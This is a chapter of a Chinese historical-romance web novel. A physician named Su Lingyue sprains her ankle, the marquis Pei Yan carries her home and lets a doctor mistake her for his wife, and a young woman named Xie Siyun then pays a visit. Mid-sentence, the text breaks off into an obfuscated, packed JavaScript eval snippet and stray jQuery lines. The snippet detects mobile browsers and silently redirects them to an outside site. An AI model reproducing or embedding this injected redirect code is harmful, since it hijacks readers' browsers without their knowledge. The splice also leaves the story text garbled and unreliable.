“怎么,嫌弃我背不动你?”裴言偏过头看她,笑得有些狡黠,“我虽然看着瘦,但没你想象中那么弱。上来吧,别想那么多。”
“我没觉得你弱...”苏菱月张了张嘴想推辞,看了看他,又看了看自己的脚踝,推辞的话怎么也说不出口。毕竟脚真的很痛!她咬了咬唇,纠结后小心翼翼地攀上他的背。
裴言稳稳地托住她的膝弯,将她往上颠了一下背好。苏菱月的条件反射地环住他的脖颈,隔着两层布料,她依旧能感觉到他躯体传来的温热,几乎要将她灼伤。
“学长,待会你要是累的话,就放我下来歇歇。”苏菱月把脸埋在裴言肩膀后面,声音闷闷的。太尴尬了...这么近又这么亲密的姿势......
“不累。”裴言的声音从前方传来,听起来居然还有几分轻松的笑意,“背着你,一点也不累。”
“不累就好...”苏菱月情绪低落,暗自懊悔自己的受伤,“真是麻烦你了...”
裴言低低地笑了一声,“没关系,我愿意被你麻烦。再说了,别这么爱怪自己。”他声音带起胸腔的震动,透过背脊传来,与苏菱月的心跳共振起来。她把脸往他肩窝里埋得更深了一点,鼻尖嗅到他衣领上淡淡的熏香味,撩拨得她几乎呼吸困难。换做是一年前的自己,怎么也想不到,有一天会被裴言背着吧?真是诡异又神奇的经历啊……
山路往下走时,裴言的步子走得稳而慢,双手还小心翼翼护着背上的苏菱月。
“学长……”她把下巴搁在他肩头,小声开口,“你是不是走累了?我怎么感觉你呼吸重了。”
“没有。”裴言偏了偏头,余光里是她毛茸茸的发顶,“你轻得很。”
“骗人。”苏菱月撇了撇嘴,却又往他背上贴了贴,开玩笑道,“你要是累了就说,我可以单脚跳着走。”
裴言被她这话逗得笑出了声,“单脚跳下山?你是嫌脚踝伤得不够重,还想把另一只也扭了?”
苏菱月不服气地笑了一声,也没再争辩。好不容易熬到了山下的马车处,苏菱月被裴言轻轻放在马车上,终于卸下了心里的负担。
回到侯府时天色将暗未暗,裴言又把她背进了书房,丫鬟们见状吓了一跳,手忙脚乱地铺褥子、端热水、喊大夫。
苏菱月被安置在一张铺了软垫的榻上,脚踝高高垫起,裴言坐在榻边陪着她,先给她敷药,等着大夫来。
他动作很轻,指尖沾了药酒在她红肿的脚踝处打圈揉按。苏菱月咬着唇忍着,嘶了一声,裴言就立刻停下来问,紧张地问,“弄疼你了?”,搞得她反而不好意思起来。
“我没事……你继续。”苏菱月别过脸,耳朵尖红得透光。
“好。”正揉着,院外响起脚步声,一个老大夫背着药箱被丫鬟引了进来。裴言这才起身让开位置,朝老大夫拱了拱手,“劳烦您跑一趟,替她看看脚踝,怕是扭伤了。”
老大夫放下药箱,弯腰仔细查看了苏菱月的脚踝,又伸手轻轻转了转她的脚腕。苏菱月疼得倒抽气,老大夫安慰道,“不妨事,就是普通的扭伤,没伤着筋骨。敷上几贴膏药,歇个三五日便能下地。”
他转身从药箱里取出膏药和纱布,一边熟练地替苏菱月包扎,一边不紧不慢地和裴言唠家常。
老大夫似乎与裴言相熟,言语间颇为随意。“侯爷,夫人年纪轻,筋骨柔韧,恢复得会快,您不必太过忧心。只是这几日得注意,少走动,少沾水。”
裴言站在一旁,正低头看着老大夫包扎的手法,听到夫人二字,他动作微微顿了一下,却一个字都没有反驳。
苏菱月的脸一下子炸红了,她猛地抬头去看裴言,想反驳,可裴言那个不置可否的浅笑把她的解释全都堵住了。
老大夫浑然不觉两人之间微妙的氛围,还在絮絮叨叨地嘱咐,“夫人这脚踝肿得虽不厉害,但头两日会有些胀痛,晚间若是睡不安稳,可以用冷帕子敷一敷再入睡。另外这几日饮食当清淡,忌辛辣发物……”
苏菱月听着老大夫一口一个夫人,整张脸都快烧得冒烟了。她偷偷去扯裴言的衣袖,压低声音几近咬牙,“学长,你怎么不说话呀!”
裴言低头看她,眼底笑意藏都藏不住,声音却压得极轻,只有两个人能听到,“我不说话,不是正好吗?”
苏菱月瞪圆了眼睛,裴言却已经若无其事地转过身去,朝老大夫道谢,打发人送了诊金。
老大夫背着药箱离开时还在门口回头叮嘱,“侯爷,夫人这脚晚间怕是不太方便,您多照应些。”
待人走远了,苏菱月才鼓起腮帮子瞪他,“学长你耍赖!你明明可以解释的!”
裴言走回榻边坐下,神色无辜,“那大夫误会了,我总不好当着他的面驳他的好意,对吧?”
“你就是故意的。”苏菱月又羞又气,抓起榻上的软枕朝他扔过去。裴言被砸中了也不生气,笑着把它放回原处,顺手替她掖了掖被角。“生气归生气,脚别乱动。刚包好的,再折腾怕又肿了。”
苏菱月哼了一声,偏过头去不看他,心里却止不住泛甜。按理说,明明被误解成夫妻是件让人害羞的事,可裴言那副不想解释的态度,反而让她心里生出一阵欢喜。
房内安静了一会儿,丫鬟送了热茶进来又退了出去。裴言坐到榻边的矮凳上,给自己倒了杯茶,慢悠悠地喝了一口,忽然开口问她,“折腾了一下午,你午饭也没正经吃,饿不饿?”
苏菱月本来还不觉得,被他这么一提,肚子倒真不争气地咕噜了一声,她讷讷开口,“有一点。”
“想吃什么?厨房应该还有备着的饭菜,我让人送来。”裴言放下茶杯看她。
苏菱月想了想,脑袋里忽然冒出一个有点邪恶的念头,她鬼使神差地冒出一句,“我想吃小馄饨,最好是学长亲手买的。”
说完自己又后悔了,也不知道这个古代有没有小馄饨,好像在故意为难他似的。裴言却像个接到指令的机器人,立刻站了起来,“城东夜市有个摊子,我路过好几次了,确实卖馄饨。你等着,我去买。”
苏菱月怔了一下,试图阻拦响应极快的裴言,“诶?我随口一说的...不早了...”
“没关系,”裴言理了理衣襟,走到门口又回头看她,信誓旦旦道,“我去买,确保你今天吃上。”
他说完就出了门,脚步轻快。苏菱月一个人坐在榻上,看着他离去的背影发呆。有点无聊了…….侯府的下人们办事利落,很快便给裴言备好了出门的灯笼和轻简的马车。苏菱月在屋里躺着,听院子里细碎的动静渐渐远去,像是在现代自己常会听的白噪音。
居然有点困了,她昏昏沉沉地闭上眼,打了会盹,正考虑着要不要睡一觉,忽地听见门外丫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814902|211015||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
鬟通传的声音,“苏大夫,谢小姐来了,您要见吗?”
谢小姐,那是谁?听见个不熟悉的名字,苏菱月原本混沌的思绪也清醒了大半。
苏菱月想了想,虽不认得这位谢小姐,但既然是登门探望的客人,出于礼节,也不好避而不见。她强打起精神,理了理衣襟坐直些,朝丫鬟点了点头,“请她进来吧。”
门帘掀开,一个穿着鹅黄色衣裙的年轻女子走了进来。她约莫十六七岁的年纪,生得一张圆润讨喜的娃娃脸,杏眼弯弯,脸颊两侧有酒窝。一头乌发梳成两个小髻,髻上缠着鹅黄色的发带,整个人瞧着乖巧极了。
她怀里抱着一个小瓷瓶,进门后先是甜甜地朝苏菱月笑了一下,而后不动声色地在屋里扫视了一圈,最后视线落在苏菱月裹着纱布的脚踝上。
“咦?”她踩着轻快的步子走到榻前,微微歪着头打量苏菱月,语气带着好奇,“这位姐姐是谁呀?我怎么从来没见过你?我叫谢思韵,我爹是侯爷麾下的副将。”
苏菱月被她那副天真无害的模样感染,也放松了些,“我叫苏菱月,是侯爷府上新来的府医。”
“府医?”谢思韵眨了眨眼,语气里满是崇拜,“姐姐好年轻呀,这么小就能当府医了,一定特别厉害吧。”她说着四处张望了一下,“那……侯爷呢?我听说他咳疾一直没好,今日特地送枇杷膏来的。”
苏菱月如实答道,“侯爷出门买东西了,应该很快回来。谢小姐若不急,可以坐着等他一会儿。”
“好呀,”谢思韵立刻甜甜地应了,在苏菱月身边的凳子上坐下,双手把小瓷瓶放在膝上,一副等多久都无妨的模样。她偏过头看着苏菱月,语气里带着恰到好处的好奇,“姐姐的脚怎么伤成这样了?”
“上山采药时不小心扭了一下,”提起这个,苏菱月就想起裴言背自己的场景,有些窘迫。
“上山采药?”谢思韵眼睛亮晶晶的,双手捧着脸,“姐姐好辛苦呀,要好好休息才是。不过侯爷一向待人和善,定会让人好好照顾姐姐的。”她说着又抿唇笑了笑,语气里带着不经意的熟稔,“侯爷就是这样,看着冷,其实心软得很。上次我骑马摔了膝盖,他知道了还特地让人给我送了药膏来呢。”
她这话说得随意又自然,听起来只是随口一提的小事,但在此刻有些微妙的炫耀。苏菱月心里微微动了一下,面上没显,只是笑笑,“侯爷确实是个好人。”
“是呀。“谢思韵点点头,又忽然凑近了些,压低了声音,一脸好奇地问道,“不过姐姐,侯爷怎么把你安置在书房养伤了?姐姐你是不是跟侯爷关系特别好呀?”
她问得天真无邪,歪着头,像只是小女孩的好奇心作祟。可苏菱月迎上那双清澈的双眼,却不知为何感觉到一丝微妙的审视。
她还没来得及答话,谢思韵又自己摆了摆手笑起来,“哎呀我是不是问太多了?姐姐你别介意,我就是嘴快。我爹总说我话多藏不住事。”
她说着又低下头,轻轻摩挲着膝上的瓷瓶,语气软糯,神色憧憬,“不过侯爷身体不好,我心里一直惦记着。今日能见他一面把枇杷膏亲手给他,我就安心啦。”
苏菱月好歹比她大了六七岁,再木头也看出,她这幅样子分明是心里有裴言。她心内酸涩,正想着要不要说点什么,门外忽然传来声音。
“菱月,我回来了。”